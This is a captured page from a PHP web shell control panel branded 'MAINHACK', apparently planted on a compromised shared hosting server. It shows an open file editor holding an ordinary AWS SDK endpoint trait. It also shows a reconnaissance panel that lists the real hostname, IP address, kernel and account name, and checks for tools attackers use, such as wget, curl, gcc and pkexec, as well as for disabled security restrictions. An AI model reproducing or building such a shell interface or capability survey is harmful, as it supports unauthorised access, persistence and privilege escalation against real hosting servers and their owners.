[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: EndpointV2SerializerTrait.php
<?php namespace Aws\EndpointV2; use Aws\Api\Serializer\RestSerializer; use Aws\EndpointV2\Ruleset\RulesetEndpoint; use GuzzleHttp\Psr7\Uri; /** * Set of helper functions used to set endpoints and endpoint * properties derived from dynamic endpoint resolution. * * @internal */ trait EndpointV2SerializerTrait { /** * Applies a resolved endpoint, headers and any custom HTTP schemes provided * in client configuration to options which are applied to the serialized request. * * @param $endpoint * @param $headers * * @return void */ private function setEndpointV2RequestOptions( RulesetEndpoint $endpoint, array &$headers ): void { $this->applyHeaders($endpoint, $headers); $resolvedUrl = $endpoint->getUrl(); $this->applyScheme($resolvedUrl); $this->endpoint = $this instanceof RestSerializer ? new Uri($resolvedUrl) : $resolvedUrl; } /** * Combines modeled headers and headers resolved from an endpoint object. * * @param $endpoint * @param $headers * @return void */ private function applyHeaders(RulesetEndpoint $endpoint, array &$headers): void { if (!is_null($endpoint->getHeaders())) { $headers = array_merge( $headers, $endpoint->getHeaders() ); } } /** * Applies custom HTTP schemes provided in client configuration. * * @param $resolvedUrl * @return void */ private function applyScheme(&$resolvedUrl): void { $resolvedEndpointScheme = parse_url($resolvedUrl, PHP_URL_SCHEME); $scheme = $this->endpoint instanceof Uri ? $this->endpoint->getScheme() : parse_url($this->endpoint, PHP_URL_SCHEME); if (!empty($scheme) && $scheme !== $resolvedEndpointScheme) { $resolvedUrl = str_replace( $resolvedEndpointScheme, $scheme, $resolvedUrl ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285